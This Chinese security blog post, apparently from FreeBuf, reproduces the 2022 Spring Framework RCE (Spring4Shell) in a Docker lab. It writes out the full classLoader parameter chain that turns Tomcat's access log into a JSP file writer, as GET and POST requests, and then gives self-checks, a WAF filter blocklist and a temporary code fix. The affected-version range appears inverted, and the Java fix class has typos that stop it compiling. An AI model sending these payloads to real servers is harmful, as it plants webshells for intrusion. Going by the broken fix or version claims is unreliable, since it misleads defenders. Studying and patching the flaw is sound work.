一 漏洞简介
2022年3月30日,Spring框架曝出RCE 0day漏洞,国家信息安全漏洞共享平台(CNVD)已收录了Spring框架远程命令执行漏洞(CNVD-2022-23942),考虑到Spring框架的广泛应用,漏洞被评级为危险。
通过该漏洞可写入webshell以及命令执行。在Spring框架的JDK9版本(及以上版本)中,远程攻击者可在满足特定条件的基础上,通过框架的参数绑定功能获取AccessLogValve对象并诸如恶意字段值,从而触发pipeline机制并写入任意路径下的文件。
二 漏洞利用条件
- Apache Tomcat作为Servlet容器;
- 使用JDK9及以上版本的Spring MVC框架;
- Spring框架以及衍生的框架spring-beans-*.jar文件或者存在
三 漏洞影响范围
1、JDK JDK 9+
2、Spring Framework 5.3.18+ 5.2.20+
四 漏洞复现
复现环境:Centos7(192.168.114.100)
复现工具:FinalShell,Burp
VMware Workstation Pro 16安装CentOS7详细图文步骤并配置网络连接(略)
重点配置网络
1.虚拟机网络配置:编辑 -> 虚拟机网络编辑器 -> 取消勾选“使用本地DHCP服务…” -> 查看NAT子网和网关(下一步使用)
2.网络连接适配器设置:控制面板 -> 网络和 Internet -> 网络和共享中心 -> 点击更改适配器设置 -> 右键“VMware Virtual Ethernet Adapter for VMnet8”,选择属性 -> 编辑“Internet协议版本 4” -> 设置网关和IP(网关同上一步)
3.配置虚拟主机:
# 虚拟机内打开终端,输入 cd /etc/sysconfig/network-scripts/ # 找到ifcfg-ens33,并编辑 sudo vi ifcfg-ens33 # 编辑相关配置,主要修改如下 BOOTPROTO=static ONBOOT=yes IPADDR=192.168.114.100 GATEWAY=192.168.114.2 NETMASK=255.255.255.0 DNS1=192.168.114.2 # 保存之后,重启网络 service network restart
4.至此网络配置就算完成了,验证配置结果:
- 虚拟机 ping com
- 虚拟机 ping 主机
- 主机 ping 虚拟机
Docker使用(一) — Linux下Docker安装部署
1、docker安装
通过yum安装docker,命令如下:
1.1、配置yum
# 安装工具包
yum install -y yum-utils
# 设置源
yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
# 快速更新
yum makecache fast
1.2、安装docker
# 最新版本
yum install docker-ce docker-ce-cli containerd.io
安装过程中会出现:Is this ok [y/d/N]:此处填写y,然后点击Enter即可
# 查询版本
docker -v
# 启动并加入开机启动
systemctl start docker #启动
systemctl enable docker #自启
上面的方式会自动安装最新版本的docker,指定版本如下命令:
# 指定版本
# VERSION_STRING为指定的版本号
yum install docker-ce-<VERSION_STRING> docker-ce-cli-<VERSION_STRING> containerd.io
开始复现......
打开FinalShell,连接CentOs7,链接虚拟环境
docker pull vulfocus/spring-core-rce-2022-03-29:latest
运行docker拉取的镜像
docker run -itd -p 8090:8080 vulfocus/spring-core-rce-2022-03-29
访问192.168.114.100+上面设置的8090端口
利⽤class对象构造利⽤链,对Tomcat的日志配置进行修改,然后,向⽇志中写⼊shell
完整的利用链:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=
构建文件的内容
class.module.classLoader.resources.context.parent.pipeline.first.suffix=
修改tomcat日志文件后缀
class.module.classLoader.resources.context.parent.pipeline.first.directory=
写入文件所在的网站根目录
class.module.classLoader.resources.context.parent.pipeline.first.prefix=
写入文件名称
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
文件日期格式(实际构造为空值即可)
构造payload
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{test}i class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.directory=/app/tomcat/webapps/ROOT/ class.module.classLoader.resources.context.parent.pipeline.first.prefix=testfile class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
发送payload:
GET发送(需要分五次请求,依次发送有时候spring会出问题)
http://192.168.114.100:8090/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Btest%7Di http://192.168.114.100:8090/?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp http://192.168.114.100:8090/?class.module.classLoader.resources.context.parent.pipeline.first.directory=%2Fapp%2Ftomcat%2Fwebapps%2FROOT%2F http://192.168.114.100:8090/?class.module.classLoader.resources.context.parent.pipeline.first.prefix=testfile http://192.168.114.100:8090/?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
POST发送(数据包格式 Content-Type: application/x-www-form-urlencoded,推荐这种方式)
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Btest%7Di& class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp& class.module.classLoader.resources.context.parent.pipeline.first.directory=%2Fapp%2Ftomcat%2Fwebapps%2FROOT%2F& class.module.classLoader.resources.context.parent.pipeline.first.prefix=testfile&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
浏览器访问
192.168.114.100:8090/testfile.jsp
五 漏洞自查
可按照以下步骤来判断是否受此漏洞影响:
- 排查是否使用了Spring框架(包括但不限于以下方法)
(1) 排查项目中是否使用了Spring框架: 可遍历项目文件查找是否包含spring-beans-*.jar (2) 排查war包中是否存在Spring框架:
(2)检查war包内是否存在spring-beans-*.jar文件,若存在则表示使用spring开发框架;若不存在,则进一步确认是否存在CachedIntrospectionResults.class文件,若存在则表示使用Spring开发框架或衍生框架。
(3) 排查jar包部中的Spring:
检查Jar包内是否存在spring-beans-*.jar文件,若存在则表示使用Spring开发框架;若不存在,则进一步确认是否存在CachedIntrospectionResults.class文件,若存在则表示使用Spring开发框架或衍生框架。
- 排查包含Spring框架的项目使用的JDK版本,如果JDK版本>=9则存在风险。
六 漏洞修复
(一) WAF防护
在WAF等网络防护设备上,根据实际部署业务的流量情况,实现对class.*, Class.*,*.class.*,*.Class.* 等字符串的规则过滤,并在部署过滤规则后,对业务运行情况进行测试,避免产生额外影响。
(二) 临时修复措施
需同时按以下步骤进行漏洞的临时修复:
1.在应用中全局搜索@InitBinder注解,看看方法体内是否调用dataBinder.setDisallowedFields方法,如果发现此代码片段的引入,则在原来的黑名单中,添加{"class.*","Class.*","*.class.*","*.Class.*"}。(注:如果此代码片段使用较多,需要每个地方都追加)
2 在用系统的项目包下新建以下全局类,并保证这个类被Spring 加载到(推荐在Controller所在的包中添加)。完成类添加后,需对项目进行重新编译打包和功能验证测试,并重新发布项目。
import org.springframework.core.annotation.Order; import org.springframework.web.bind.WebDataBinder; import org.springframework.web.bind.annotation.ControllerAdvice; import org.springframework.web.bind.annotation.InitBinder; @ControllerAdvice @Order(10000) public class GlobalControllerAdvicc{ @InitBinder public void setAllowedFields(webdataBinder dataBinder){ String[]abd=new string[]{"class.*","Class.*","*.class.*","*.Class.*"}; dataBinder.setDisallowedFields(abd); } }
3 退钱!!!
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)